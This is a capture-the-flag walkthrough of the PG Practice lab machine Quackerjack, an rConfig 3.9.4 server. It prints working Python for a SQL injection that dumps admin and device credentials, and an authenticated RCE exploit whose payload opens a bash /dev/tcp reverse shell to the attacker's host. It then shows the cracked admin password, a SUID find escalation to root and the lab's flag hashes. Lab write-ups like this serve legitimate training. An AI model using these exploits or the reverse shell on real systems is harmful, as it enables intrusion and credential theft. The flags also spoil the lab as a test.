Summary #
On port 8081 there’s an rConfig
application which is vulnerable for an SQLi the leaks the hash of the admin password. Using CrackStation we decrypt it and get working credentials. Using these credentials we can use another exploit (CVE-2019-19509) to get initial access. Once on the target there is a find
binary with the SUID bit set which enables us to escalate to the root
user.
Specifications #
- Name: QUACKERJACK
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- OS: Linux quackerjack 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.159.57
- OFFSEC provided credentials: None
- HASH:
local.txt
:d303348c661f3cc510928bd5112f3b8b
- HASH:
proof.txt
:a3014363a65969cd5c33a6992d91d894
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir quackerjack && cd quackerjack && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 22 16:24 .
drwxrwxr-x 14 kali kali 4096 Jul 22 16:24 ..
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 enum
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 exploits
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 files
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 tools
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 uploads
## set bash variable
ip=192.168.159.57
## ping target to check if it's online
ping $ip
PING 192.168.159.57 (192.168.159.57) 56(84) bytes of data.
64 bytes from 192.168.159.57: icmp_seq=1 ttl=61 time=15.1 ms
64 bytes from 192.168.159.57: icmp_seq=2 ttl=61 time=15.6 ms
^C
--- 192.168.159.57 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 15.145/15.356/15.568/0.211 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.159.57:21
Open 192.168.159.57:22
Open 192.168.159.57:80
Open 192.168.159.57:111
Open 192.168.159.57:139
Open 192.168.159.57:445
Open 192.168.159.57:3306
Open 192.168.159.57:8081
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 16:29 CEST
Initiating Ping Scan at 16:29
Scanning 192.168.159.57 [4 ports]
Completed Ping Scan at 16:29, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:29
Completed Parallel DNS resolution of 1 host. at 16:29, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:29
Scanning 192.168.159.57 [8 ports]
Discovered open port 111/tcp on 192.168.159.57
Discovered open port 80/tcp on 192.168.159.57
Discovered open port 445/tcp on 192.168.159.57
Discovered open port 139/tcp on 192.168.159.57
Discovered open port 21/tcp on 192.168.159.57
Discovered open port 3306/tcp on 192.168.159.57
Discovered open port 22/tcp on 192.168.159.57
Discovered open port 8081/tcp on 192.168.159.57
Completed SYN Stealth Scan at 16:29, 0.05s elapsed (8 total ports)
Nmap scan report for 192.168.159.57
Host is up, received echo-reply ttl 61 (0.016s latency).
Scanned at 2025-07-22 16:29:00 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 12 (504B) | Rcvd: 9 (380B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
21,22,80,111,139,445,3306,8081
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,111,139,445,3306,8081 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.195
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:ec:75:8d:86:9b:a3:0b:d3:b6:2f:64:04:f9:fd:25 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWsUPf+lVe3JddBDNBbM3vSxW2Nbl7ZniBHSy2r7B9KN42uteBJeZtPoxcBGPEcUv4ZZQ7CrIyKEqNjpz4QfryIb9Ta4ehTJNumQCXV2r2VsLDYCK0C+FjOwc++o/iqUOPm48NNO3s//vhb33VZ1g5dnEnXQ68jdJ3G382+cVfcWj6WSZLS1hk7HLq2lYrTZD6krJ1eEZxgIb6YiXnSruEtntEpiEy5c92yh3KFnvVhgwNJe/WyNpXLrE4I66lX5EWhTAhw/6373RL/3efGsptmwhb7wrMXdscic/JOmUMUKYPRVl7KGMik0kjVH/rXpEpTjUONQ+3DhuT7khuB5MF
| 256 b6:d2:fd:bb:08:9a:35:02:7b:33:e3:72:5d:dc:64:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMT94WFh/L5UMkSoHb0Obh3JTETeKzHNMKfnuJleky0X/AEbM+TV5WCsd7GcWfhfsFxK1xyK9iyNzmKmShy3Fk8=
| 256 08:95:d6:60:52:17:3d:03:e4:7d:90:fd:b2:ed:44:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANg5sdcd3U3DkheWc10jhSTJbOSE7Lqtyu+yQhLuywl
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
| Supported Methods: POST OPTIONS GET HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open mysql syn-ack ttl 61 MariaDB 10.3.23 or earlier (unauthorized)
8081/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: 400 Bad Request
Service Info: Host: QUACKERJACK; OS: Unix
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.10.4)
| Computer name: quackerjack
| NetBIOS computer name: QUACKERJACK\x00
| Domain name: \x00
| FQDN: quackerjack
|_ System time: 2025-07-22T10:30:21-04:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 50057/tcp): CLEAN (Timeout)
| Check 2 (port 52763/tcp): CLEAN (Timeout)
| Check 3 (port 52162/udp): CLEAN (Timeout)
| Check 4 (port 20740/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-07-22T14:30:24
|_ start_date: N/A
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Initial Access #
8081/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: 400 Bad Request
On port 8081 there is a HTTPS website which, after clicking on Advanced/Accept the Risk and Continue
, will lead to a rConfig - Configuration Management website.


In the bottom of the screen a version is shown, namely: rConfig Version 3.9.4
. Running this information through searchsploit gives us a number of exploits. Download the unauthenticated RCE (php/webapps/48208.py)
## search for exploits
searchsploit rConfig 3.9.4
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
rConfig 3.9 - 'searchColumn' SQL Injection | php/webapps/48208.py
rConfig 3.9.4 - 'search.crud.php' Remote Command Injection | php/webapps/48241.py
rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution | php/webapps/48261.py
Rconfig 3.x - Chained Remote Code Execution (Metasploit) | linux/remote/48223.rb
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## change directory
cd exploits
## mirror the exploit locally
searchsploit -m php/webapps/48208.py
Exploit: rConfig 3.9 - 'searchColumn' SQL Injection
URL: https://www.exploit-db.com/exploits/48208
Path: /usr/share/exploitdb/exploits/php/webapps/48208.py
Codes: CVE-2020-10220
Verified: False
File Type: Python script, ASCII text executable
When we run this script it gives the following error: SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate
, when we change the exploit to consistently use SSL verification. Dashboard_request uses verify=False to bypass SSL verification, but the extractDBinfos function calls request.get(encoded_request) without specifying verify=False. This causes the requests library to attempt SSL verification, leading to the error.
#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import SSLError, ConnectionError
# Suppress InsecureRequestWarning for self-signed certificates
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("rconfig 3.9 - SQL Injection PoC")
if len(sys.argv) != 2:
print("[+] Usage : ./rconfig_exploit.py https://target")
exit()
vuln_page = "/commands.inc.php"
vuln_parameters = "?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
given_target = sys.argv[1]
target = given_target + vuln_page + vuln_parameters
request = requests.session()
try:
dashboard_request = request.get(target, allow_redirects=False, verify=False, timeout=10)
except (SSLError, ConnectionError) as e:
print(f"[!] SSL or Connection Error occurred: {str(e)}. Continuing with SSL verification disabled...")
def extractDBinfos(myTarget=None, myPayload=None):
"""
Extract information from database
Args:
- myTarget+myPayload (String)
Returns:
- payload result (String)
"""
result = ""
encoded_request = myTarget + myPayload
try:
exploit_req = request.get(encoded_request, verify=False, timeout=10)
if '[PWN]' in str(exploit_req.content):
result = str(exploit_req.content).split('[PWN]')[1]
else:
result = "Maybe no more information ?"
except (SSLError, ConnectionError) as e:
result = f"[!] Error during request: {str(e)}. Check connection or target."
return result
if dashboard_request.status_code != 404:
print("[+] Triggering the payloads on " + given_target + vuln_page)
# Get the db name
print("[+] Extracting the current DB name :")
db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"
db_name = extractDBinfos(target, db_payload)
print(db_name)
# DB extract users
print("[+] Extracting 10 first users :")
for i in range(0, 10):
user1_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20" + db_name + ".users+limit+" + str(i) + "," + str(i + 1) + "),NULL--"
user_h = extractDBinfos(target, user1_payload)
print(user_h)
# DB extract devices information
print("[+] Extracting 10 first devices :")
for i in range(0, 10):
device_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20" + db_name + ".nodes+limit+" + str(i) + "," + str(i + 1) + "),NULL--"
device_h = extractDBinfos(target, device_payload)
print(device_h)
print("Done")
else:
print("[-] Please verify the URI")
exit()
When we now run the exploit we do get a hash that we can crack using crackstation.
python3 ex.py https://192.168.159.57:8081
rconfig 3.9 - SQL Injection PoC
[+] Triggering the payloads on https://192.168.159.57:8081/commands.inc.php
[+] Extracting the current DB name :
rconfig
[+] Extracting 10 first users :
admin:1:dc40b85276a1f4d7cb35f154236aa1b2
<SNIP>

The credentials are: admin:abgrtyu
. We can verify these credentials by logging in the application, and indeed we get logged in.


Now we can download a working authenticated RCE exploit for rConfig using searchsploit.
searchsploit -m php/webapps/47982.py
Exploit: rConfig 3.9.3 - Authenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/47982
Path: /usr/share/exploitdb/exploits/php/webapps/47982.py
Codes: CVE-2019-19509
Verified: True
File Type: Python script, ASCII text executable
But, again we need to modify it again, for the following error: SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate
. Save the file below to a file called exploit.py
.
#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import SSLError, ConnectionError, Timeout
# Suppress InsecureRequestWarning for self-signed certificates
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("rconfig - CVE-2019-19509 - Web authenticated RCE")
if len(sys.argv) != 6:
print("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
try:
login_request = request.post(
target + "/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True,
timeout=10
)
except (SSLError, ConnectionError, Timeout) as e:
print(f"[!] Error during login: {str(e)}. Continuing with SSL verification disabled...")
exit()
try:
dashboard_request = request.get(target + "/dashboard.php", allow_redirects=False, verify=False, timeout=10)
except (SSLError, ConnectionError, Timeout) as e:
print(f"[!] Error accessing dashboard: {str(e)}. Cannot proceed.")
exit()
if dashboard_request.status_code == 200:
print("[+] Logged in successfully, triggering the payload...")
encoded_request = target + "/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
print("[+] Check your listener!")
try:
exploit_req = request.get(encoded_request, verify=False, timeout=10)
except Timeout:
print("[+] The reverse shell seems to be opened :-)")
except (SSLError, ConnectionError) as e:
print(f"[!] Error during payload execution: {str(e)}. Reverse shell may still be active...")
else:
print("[-] The command was not executed by the target or you forgot to open a listener...")
elif dashboard_request.status_code == 302:
print("[-] Wrong credentials!")
exit()
Get our local IP address on tun0, setup a listener on port 80 and run the exploit (CVE-2019-19509):
## get local IP address
ip a
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.195/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4729:e8c8:9ef2:5416/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 80
## run the exploit
python3 exploit.py https://192.168.159.57:8081/ admin abgrtyu 192.168.45.195 80
rconfig - CVE-2019-19509 - Web authenticated RCE
[+] Logged in successfully, triggering the payload...
[+] Check your listener!
[+] The reverse shell seems to be opened :-)
## catch reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.159.57] 58762
bash: no job control in this shell
## change directory to the root of the `rconfig` user
bash-4.2$ cd /home/rconfig
cd /home/rconfig
## print `local.txt`
bash-4.2$ cat local.txt
d303348c661f3cc510928bd5112f3b8b
Privilege Escalation #
First we download linpeas locally, upload it to the target and run it.
## change directory
cd uploads
## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## start a local webserver
python3 -m http.server 80
## on target, change directory to `/var/tmp/`, download `linpeas.sh`, set execution bit and run `linpeas.sh`
bash-4.2$ cd /var/tmp
bash-4.2$ wget http://192.168.45.195/linpeas.sh
wget http://192.168.45.195/linpeas.sh
--2025-07-22 16:13:00-- http://192.168.45.195/linpeas.sh
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
<SNIP>
2025-07-22 16:13:00 (3.97 MB/s) - 'linpeas.sh' saved [956174/956174]
bash-4.2$ chmod +x linpeas.sh
bash-4.2$ ./linpeas.sh
In the output of linpeas.sh
we find a SUID binary set on: -rwsr-xr-x. 1 root root 195K Oct 30 2018 /usr/bin/find
. We can verify this on the terminal:
## search for SUID binaries and grep for find
bash-4.2$ find / -perm /4000 -ls 2>/dev/null | grep find
12596477 196 -rwsr-xr-x 1 root root 199304 Oct 30 2018 /usr/bin/find
On the GTFOBins (https://gtfobins.github.io/gtfobins/find/#suid) website we can search for PHP with SUID set and see how we can exploit this.
## run the SUID binary to get a shell as the `root` user
bash-4.2$ /usr/bin/find . -exec /bin/sh -p \; -quit
## run the `whoami` command
whoami
root
## print `proof.txt`
cat /root/proof.txt
a3014363a65969cd5c33a6992d91d894
References #
[+]